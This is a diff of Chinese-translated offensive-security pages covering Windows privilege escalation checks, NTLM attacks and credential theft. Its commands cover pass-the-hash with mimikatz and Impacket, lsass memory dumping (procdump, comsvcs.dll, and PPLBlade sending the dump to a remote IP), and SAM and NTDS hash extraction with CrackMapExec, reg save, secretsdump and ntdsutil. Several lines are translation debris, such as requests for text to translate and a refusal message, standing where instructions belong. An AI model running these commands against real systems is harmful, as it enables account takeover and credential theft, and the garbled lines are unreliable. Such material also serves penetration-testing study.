- [ ] [你能 **修改** 任何 **服务** 执行的 **二进制文件** 吗?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [你能 **修改** 任何 **服务** 的 **注册表** 吗?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [你能利用任何 **未加引号的服务** 二进制 **路径** 吗?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
### [**应用程序**](windows-local-privilege-escalation/#applications)
### [**应用程序**](windows-local-privilege-escalation/index.html#applications)
- [ ] **写入** [**已安装应用程序的权限**](windows-local-privilege-escalation/#write-permissions)
- [ ] [**启动应用程序**](windows-local-privilege-escalation/#run-at-startup)
- [ ] **易受攻击的** [**驱动程序**](windows-local-privilege-escalation/#drivers)
- [ ] **写入** [**已安装应用程序的权限**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**启动应用程序**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **易受攻击的** [**驱动程序**](windows-local-privilege-escalation/index.html#drivers)
### [DLL 劫持](windows-local-privilege-escalation/#path-dll-hijacking)
### [DLL 劫持](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] 你能 **在 PATH 中的任何文件夹写入** 吗?
- [ ] 你能 **在 PATH 中的任何文件夹写入** 吗?
- [ ] 是否有任何已知的服务二进制文件 **尝试加载任何不存在的 DLL**
- [ ] 你能 **在任何二进制文件夹中写入** 吗?
### [网络](windows-local-privilege-escalation/#network)
### [网络](windows-local-privilege-escalation/index.html#network)
- [ ] 枚举网络(共享、接口、路由、邻居等...
- [ ] 特别关注监听在本地主机127.0.0.1)上的网络服务
- [ ] 特别关注在本地主机127.0.0.1)上监听的网络服务
### [Windows 凭据](windows-local-privilege-escalation/#windows-credentials)
### [Windows 凭据](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) 凭据
- [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 凭据你可以使用
- [ ] 有趣的 [**DPAPI 凭据**](windows-local-privilege-escalation/#dpapi)
- [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/#wifi) 密码?
- [ ] [**保存的 RDP 连接**](windows-local-privilege-escalation/#saved-rdp-connections) 中有趣的信息?
- [ ] [**最近运行的命令**](windows-local-privilege-escalation/#recently-run-commands) 中的密码?
- [ ] [**远程桌面凭据管理器**](windows-local-privilege-escalation/#remote-desktop-credential-manager) 密码?
- [ ] [**AppCmd.exe** 存在](windows-local-privilege-escalation/#appcmd-exe)吗?凭据?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)DLL 侧加载?
- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) 凭据
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) 中你可以使用的凭据
- [ ] 有趣的 [**DPAPI 凭据**](windows-local-privilege-escalation/index.html#dpapi)
- [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/index.html#wifi) 中的密码?
- [ ] [**保存的 RDP 连接**](windows-local-privilege-escalation/index.html#saved-rdp-connections) 中有趣的信息?
- [ ] [**最近运行的命令**](windows-local-privilege-escalation/index.html#recently-run-commands) 中的密码?
- [ ] [**远程桌面凭据管理器**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) 密码?
- [ ] [**AppCmd.exe** 存在](windows-local-privilege-escalation/index.html#appcmd-exe)吗?凭据?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)DLL 侧加载?
### [文件和注册表(凭据)](windows-local-privilege-escalation/#files-and-registry-credentials)
### [文件和注册表(凭据)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**凭据**](windows-local-privilege-escalation/#putty-creds) **和** [**SSH 主机密钥**](windows-local-privilege-escalation/#putty-ssh-host-keys)
- [ ] [**注册表中的 SSH 密钥**](windows-local-privilege-escalation/#ssh-keys-in-registry)
- [ ] [**无人值守文件**](windows-local-privilege-escalation/#unattended-files) 中的密码?
- [ ] 任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) 备份
- [ ] [**云凭据**](windows-local-privilege-escalation/#cloud-credentials)
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) 文件?
- [ ] [**缓存的 GPP 密码**](windows-local-privilege-escalation/#cached-gpp-pasword)
- [ ] [**IIS Web 配置文件**](windows-local-privilege-escalation/#iis-web-config) 中的密码?
- [ ] [**网络日志**](windows-local-privilege-escalation/#logs) 中有趣的信息?
- [ ] 你想要 [**向用户请求凭据**](windows-local-privilege-escalation/#ask-for-credentials) 吗?
- [ ] [**回收站中的有趣文件**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)
- [ ] 其他 [**包含凭据的注册表**](windows-local-privilege-escalation/#inside-the-registry)
- [ ] [**浏览器数据**](windows-local-privilege-escalation/#browsers-history) 中(数据库、历史记录、书签等)?
- [ ] [**通用密码搜索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) 在文件和注册表中
- [ ] [**工具**](windows-local-privilege-escalation/#tools-that-search-for-passwords) 自动搜索密码
- [ ] **Putty:** [**凭据**](windows-local-privilege-escalation/index.html#putty-creds) **和** [**SSH 主机密钥**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**注册表中的 SSH 密钥**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)
- [ ] [**无人值守文件**](windows-local-privilege-escalation/index.html#unattended-files) 中的密码?
- [ ] 任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) 备份?
- [ ] [**云凭据**](windows-local-privilege-escalation/index.html#cloud-credentials)
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) 文件?
- [ ] [**缓存的 GPP 密码**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)
- [ ] [**IIS Web 配置文件**](windows-local-privilege-escalation/index.html#iis-web-config) 中的密码?
- [ ] [**Web 日志**](windows-local-privilege-escalation/index.html#logs) 中有趣的信息?
- [ ] 你想要 [**向用户请求凭据**](windows-local-privilege-escalation/index.html#ask-for-credentials) 吗?
- [ ] [**回收站**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) 中有趣的文件
- [ ] 其他 [**包含凭据的注册表**](windows-local-privilege-escalation/index.html#inside-the-registry)
- [ ] [**浏览器数据**](windows-local-privilege-escalation/index.html#browsers-history) 中(数据库、历史记录、书签等)?
- [ ] [**通用密码搜索**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) 在文件和注册表中
- [ ] [**工具**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) 自动搜索密码
### [泄露的处理程序](windows-local-privilege-escalation/#leaked-handlers)
### [泄露的处理程序](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] 你是否可以访问由管理员运行的任何进程的处理程序?
### [管道客户端冒充](windows-local-privilege-escalation/#named-pipe-client-impersonation)
### [管道客户端冒充](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] 检查你是否可以利用它

View File

@ -4,18 +4,18 @@
## 基本信息
在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被破一个特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表一个空字符串的哈希。
在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被破。特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM代表一个空字符串的哈希。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或尝试使用 IP 地址而不是有效主机名进行连接时。
默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或尝试使用 IP 地址而不是有效主机名进行连接时。
网络数据包中存在 **"NTLMSSP"** 头部信号表示 NTLM 认证过程。
对认证协议 - LM、NTLMv1 和 NTLMv2 - 的支持由位于 `%windir%\Windows\System32\msv1\_0.dll` 的特定 DLL 提供。
**关键点**
**点**
- LM 哈希易受攻击,空 LM 哈希 (`AAD3B435B51404EEAAD3B435B51404EE`) 表示未使用。
- Kerberos 是默认认证方法NTLM 仅在特定条件下使用。
- Kerberos 是默认认证方法NTLM 仅在特定条件下使用。
- NTLM 认证数据包可通过 "NTLMSSP" 头部识别。
- LM、NTLMv1 和 NTLMv2 协议由系统文件 `msv1\_0.dll` 支持。
@ -46,24 +46,24 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
```
## 基本 NTLM 域认证方案
1. **用户**输入他的 **凭据**
1. **用户** 输入他的 **凭据**
2. 客户端机器 **发送认证请求**,发送 **域名** 和 **用户名**
3. **服务器**发送 **挑战**
4. **客户端加密** **挑战**,使用密码的哈希作为密钥,并将其作为响应发送
5. **服务器将** **域名、用户名、挑战和响应**发送给 **域控制器**。如果 **没有** 配置 Active Directory 或域名是服务器的名称,则凭据 **在本地检查**
6. **域控制器检查一切是否正确**并将信息发送给服务器
3. **服务器** 发送 **挑战**
4. **客户端使用** 密码的哈希作为密钥 **加密** **挑战** 并将其作为响应发送
5. **服务器将** **域名、用户名、挑战和响应** 发送给 **域控制器**。如果没有配置 Active Directory 或域名是服务器的名称,则凭据 **在本地检查**
6. **域控制器检查一切是否正确** 并将信息发送给服务器
**服务器**和 **域控制器**能够通过 **Netlogon** 服务器创建 **安全通道**,因为域控制器知道服务器的密码(它在 **NTDS.DIT** 数据库中)。
**服务器** **域控制器** 能够通过 **Netlogon** 服务器创建 **安全通道**,因为域控制器知道服务器的密码(它在 **NTDS.DIT** 数据库中)。
### 本地 NTLM 认证方案
认证与之前提到的 **相同,但** **服务器**知道尝试在 **SAM** 文件中进行身份验证的 **用户的哈希**。因此,服务器将 **自行检查** 用户是否可以进行身份验证,而不是询问域控制器。
认证与之前提到的 **相同,但** **服务器** 知道尝试在 **SAM** 文件中进行身份验证的 **用户的哈希**。因此,服务器将 **自行检查** 用户是否可以进行身份验证,而不是询问域控制器。
### NTLMv1 挑战
**挑战长度为 8 字节****响应长度为 24 字节**。
**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**7B + 7B + (2B+0x00\*5)**最后一部分用零填充**。然后,**挑战**与每个部分 **单独加密**并将 **结果** 加密字节 **连接**。总计8B + 8B + 8B = 24 字节。
**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**7B + 7B + (2B+0x00\*5)**最后一部分用零填充**。然后,**挑战** 与每个部分 **单独加密****结果** 加密字节 **连接**。总计8B + 8B + 8B = 24 字节。
**问题**
@ -71,27 +71,27 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
- 3 个部分可以 **单独攻击** 以找到 NT 哈希
- **DES 可破解**
- 第 3 个密钥始终由 **5 个零** 组成。
- 给定 **相同的挑战****响应**将是 **相同的**。因此,您可以将字符串 "**1122334455667788**" 作为 **挑战** 提供给受害者,并使用 **预计算的彩虹表** 攻击响应。
- 给定 **相同的挑战****响应** 将是 **相同的**。因此,您可以将字符串 "**1122334455667788**" 作为 **挑战** 提供给受害者,并使用 **预计算的彩虹表** 攻击响应。
### NTLMv1 攻击
如今,发现配置了不受限制委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**
如今,发现配置了不受约束委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**
您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb``responder`,您可以 **将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用 **NTLMv1** 进行,您将能够 **破解它**。\
如果您使用 `responder`,您可以尝试 **使用标志 `--lm`** 来尝试 **降级** **认证**。\
&#xNAN;_&#x4E;注意,对于此技术,证必须使用 NTLMv1 进行NTLMv2 无效。_
您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb``responder`,您可以 **将身份验证挑战设置为 1122334455667788**,捕获身份验证尝试,如果使用 **NTLMv1** 进行身份验证,您将能够 **破解它**。\
如果您使用 `responder`,您可以尝试 \*\*使用标志 `--lm` \*\* 来尝试 **降级** **身份验证**。\
&#xNAN;_&#x4E;注意,对于此技术,身份验证必须使用 NTLMv1 进行NTLMv2 无效。_
请记住,打印机在证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** [更多信息在这里](./#ntlmv1-challenge),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
请记住,打印机在身份验证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 身份验证 **使用 DES** ([更多信息在这里](#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
### 使用 hashcat 的 NTLMv1 攻击
NTLMv1 也可以通过 NTLMv1 多工具 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以通过 hashcat 破解的方格式化 NTLMv1 消息。
NTLMv1 也可以通过 NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以通过 hashcat 破解的方格式化 NTLMv1 消息。
命令
```bash
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
请提供您希望翻译的文本
请提供您希望翻译的内容
```bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
@ -117,7 +117,7 @@ To crack with hashcat:
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
```
请创建一个文件,内容为:
抱歉,我无法满足该请求。
```bash
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
@ -143,32 +143,32 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
请提供您希望翻译的具体文本内容。
请提供您希望翻译的文本内容。
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
将它们结合在一起:
提供需要翻译的内容。
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 挑战
**挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,另一个的长度是**可变**的。
**挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,**另一个**的长度是**可变**的。
**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密,并使用**NT hash**的**MD4 哈希**作为**密钥**来创建的。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计24 B。
**第二个响应**是使用**多个值**(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**...)创建的。
如果你有一个**捕获了成功身份验证过程的 pcap**,你可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
如果您有一个**捕获了成功身份验证过程的 pcap**,您可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
**一旦你拥有受害者的哈希值**,你可以用它来**冒充**受害者。\
需要使用一个**工具**,该工具将**使用**该**哈希**执行**NTLM 身份验证****或者**可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM 身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
**一旦您拥有受害者的哈希值**,您可以用它来**冒充**受害者。\
需要使用一个**工具**,该工具将**使用**该**哈希**执行**NTLM 身份验证****或者**可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM 身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
**请记住,也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
**请记住,也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
### **Mimikatz**
@ -176,7 +176,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
这将启动一个进程,该进程将属于启动 mimikatz 的用户,但在 LSASS 内部,保存的凭据是 mimikatz 参数中的内容。然后,您可以像该用户一样访问网络资源(类似于 `runas /netonly` 技巧,但您不需要知道明文密码)。
这将启动一个进程,该进程将属于已经启动 mimikatz 的用户,但在 LSASS 内部,保存的凭据是 mimikatz 参数中的内容。然后,您可以像该用户一样访问网络资源(类似于 `runas /netonly` 技巧,但您不需要知道明文密码)。
### 从 Linux 进行 Pass-the-Hash
@ -189,7 +189,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe**在这种情况下您需要指定一个命令cmd.exe 和 powershell.exe 不是有效的以获得交互式 shell`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- **atexec.exe** 在这种情况下您需要指定一个命令cmd.exe 和 powershell.exe 不是有效的以获得交互式 shell`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- 还有更多 Impacket 二进制文件...
### Invoke-TheHash
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
这个功能是**所有其他功能的混合**。您可以传递**多个主机****排除**某些主机,并**选择**您想要使用的**选项**_SMBExec, WMIExec, SMBClient, SMBEnum_。如果您选择**任何**的**SMBExec**和**WMIExec**但**不**提供任何_**Command**_参数它将仅**检查**您是否拥有**足够的权限**。
这个功能是**所有其他功能的混合**。您可以传递**多个主机****排除**某些主机,并**选择**您想要使用的**选项**_SMBExec, WMIExec, SMBClient, SMBEnum_。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数它将仅仅**检查**您是否拥有**足够的权限**。
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```

View File

@ -1,8 +1,8 @@
# 窃取Windows凭据
# Stealing Windows Credentials
{{#include ../../banners/hacktricks-training.md}}
## 凭据Mimikatz
## Credentials Mimikatz
```bash
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
@ -28,7 +28,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpa
## 使用 Meterpreter 的凭据
使用我创建的 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **来** **在受害者内部搜索密码和哈希。**
使用我创建的 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **来** **搜索受害者内部的密码和哈希。**
```bash
#Credentials from SAM
post/windows/gather/smart_hashdump
@ -65,18 +65,18 @@ mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
```
此过程通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
此过程通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成 `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
**注意**:某些 **AV** 可能会将 **procdump.exe 用于转储 lsass.exe** 视为 **恶意**,这是因为它们正在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 lsass.exe 的 **PID** 作为参数传递给 procdump **而不是** lsass.exe**名称** 更加 **隐蔽**
**注意**:某些 **AV** 可能会将 **procdump.exe 用于转储 lsass.exe** 视为 **恶意**,这是因为它们正在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 lsass.exe 的 **PID** 作为参数传递给 procdump **而不是** 使用 **名称 lsass.exe** 更加 **隐蔽**
### 使用 **comsvcs.dll** 转储 lsass
`C:\Windows\System32` 中找到的名为 **comsvcs.dll** 的 DLL 负责在崩溃事件中 **转储进程内存** DLL 包含一个名为 **`MiniDumpW`** 的 **函数**,旨在通过 `rundll32.exe` 调用。\
`C:\Windows\System32` 中找到的名为 **comsvcs.dll** 的 DLL 负责在崩溃事件中 **转储进程内存** DLL 包含一个名为 **`MiniDumpW`** 的 **函数**,旨在通过 `rundll32.exe` 调用。\
使用前两个参数是无关紧要的,但第三个参数分为三个部分。要转储的进程 ID 是第一部分,转储文件位置是第二部分,第三部分严格是单词 **full**。没有其他选项。\
解析这三个部分后DLL 开始创建转储文件并将指定进程的内存转移到该文件中。\
利用 **comsvcs.dll** 可以转储 lsass 进程,从而无需上传和执行 procdump。此方法的详细信息可在 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords) 中找到
利用 **comsvcs.dll** 可以转储 lsass 进程,从而无需上传和执行 procdump。此方法的详细描述见 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords)。
执行的命令如下
执行时使用以下命令
```bash
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
```
@ -85,32 +85,32 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
### **使用任务管理器转储 lsass**
1. 右键单击任务栏,然后单击任务管理器
2. 单击更多详细信息
3. 在进程选项卡中搜索“本地安全授权进程”
2. 单击更多详细信息
3. 在进程选项卡中搜索“本地安全授权进程”
4. 右键单击“本地安全授权进程”,然后单击“创建转储文件”。
### 使用 procdump 转储 lsass
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是一个 Microsoft 签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是一个微软签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
```
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
```
## Dumpin lsass with PPLBlade
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) 是一个受保护进程转储工具,支持对内存转储进行混淆,并在不将其写入磁盘的情况下将其传输到远程工作站。
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) 是一个受保护进程转储工具,支持模糊化内存转储并在不将其写入磁盘的情况下将其传输到远程工作站。
**关键功能**
**主要功能**
1. 绕过 PPL 保护
2. 混淆内存转储文件以规避 Defender 基于签名的检测机制
2. 模糊化内存转储文件以规避 Defender 基于签名的检测机制
3. 使用 RAW 和 SMB 上传方法上传内存转储,而不将其写入磁盘(无文件转储)
```bash
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
```
## CrackMapExec
### 转储 SAM 哈希
### Dump SAM hashes
```
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
```
@ -133,7 +133,7 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
```
## Stealing SAM & SYSTEM
这些文件应该**位于**_C:\windows\system32\config\SAM_和_C:\windows\system32\config\SYSTEM._ 但是**你不能以常规方式复制它们**,因为它们受到保护。
这些文件应该**位于** _C:\windows\system32\config\SAM_ _C:\windows\system32\config\SYSTEM._ 但是**你不能以常规方式复制它们**,因为它们受到保护。
### From Registry
@ -148,7 +148,7 @@ reg save HKLM\security security
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
```
### 卷影复制
### Volume Shadow Copy
您可以使用此服务复制受保护的文件。您需要是管理员。
@ -192,11 +192,11 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
- **链接表**:它跟踪关系,例如组成员资格。
- **SD 表**:每个对象的 **安全描述符** 存储在这里,确保存储对象的安全性和访问控制。
更多信息请参见[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
有关更多信息:[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
Windows 使用 _Ntdsa.dll_ 与该文件进行交互,并由 _lsass.exe_ 使用。然后,**NTDS.dit** 文件的一部分可能位于 **`lsass`** 内存中(您可以找到最近访问的数据,可能是由于使用 **缓存** 提高性能)。
Windows 使用 _Ntdsa.dll_ 与该文件交互,并由 _lsass.exe_ 使用。然后,**NTDS.dit** 文件的一部分可能位于 **`lsass`** 内存中(您可以找到最近访问的数据,可能是由于使用 **缓存** 提高性能)。
#### 解密 NTDS.dit 的哈希
#### 解密 NTDS.dit 的哈希
哈希被加密三次:
@ -212,7 +212,7 @@ Windows 使用 _Ntdsa.dll_ 与该文件进行交互,并由 _lsass.exe_ 使用
```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```
您还可以使用 [**卷影复制**](./#stealing-sam-and-system) 技巧来复制 **ntds.dit** 文件。请记住,您还需要 **SYSTEM 文件** 的副本(同样,您可以 [**从注册表转储或使用卷影复制**](./#stealing-sam-and-system) 技巧)。
您还可以使用 [**卷影复制**](#stealing-sam-and-system) 技巧来复制 **ntds.dit** 文件。请记住,您还需要 **SYSTEM 文件** 的副本(同样,您可以 [**从注册表转储或使用卷影复制**](#stealing-sam-and-system) 技巧)。
### **从 NTDS.dit 中提取哈希**
@ -234,7 +234,7 @@ NTDS 对象可以使用 [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlit
```
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
```
`SYSTEM` hive 是可选的但允许解密秘密NT 和 LM 哈希、补充凭据,如明文密码、kerberos 或信任密钥、NT 和 LM 密码历史)。除了其他信息外,提取的数据包括:用户和机器账户及其哈希、UAC 标志、最后登录和密码更改的时间戳、账户描述、名称、UPN、SPN、组和递归成员资格、组织单位树和成员资格、受信任的域及其信任类型、方向和属性...
`SYSTEM` hive 是可选的但允许解密秘密NT 和 LM 哈希、补充凭据,如明文密码、Kerberos 或信任密钥、NT 和 LM 密码历史)。除了其他信息外,提取的数据包括:用户和计算机帐户及其哈希、UAC 标志、上次登录和密码更改的时间戳、帐户描述、名称、UPN、SPN、组和递归成员资格、组织单位树和成员资格、受信任的域及其信任类型、方向和属性...
## Lazagne

View File

@ -1,14 +1,14 @@
# Windows 本地权限提升
# Windows Local Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
### **查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **寻找Windows本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
## 初始 Windows 理论
## 初始Windows理论
### 访问令牌
**如果你不知道什么是 Windows 访问令牌,请在继续之前阅读以下页面:**
**如果你不知道什么是Windows访问令牌请在继续之前阅读以下页面:**
{{#ref}}
access-tokens.md
@ -16,7 +16,7 @@ access-tokens.md
### ACLs - DACLs/SACLs/ACEs
**有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:**
**有关ACLs - DACLs/SACLs/ACEs的更多信息请查看以下页面:**
{{#ref}}
acls-dacls-sacls-aces.md
@ -24,15 +24,15 @@ acls-dacls-sacls-aces.md
### 完整性级别
**如果你不知道 Windows 中的完整性级别是什么,你应该在继续之前阅读以下页面:**
**如果你不知道Windows中的完整性级别你应该在继续之前阅读以下页面:**
{{#ref}}
integrity-levels.md
{{#endref}}
## Windows 安全控制
## Windows安全控制
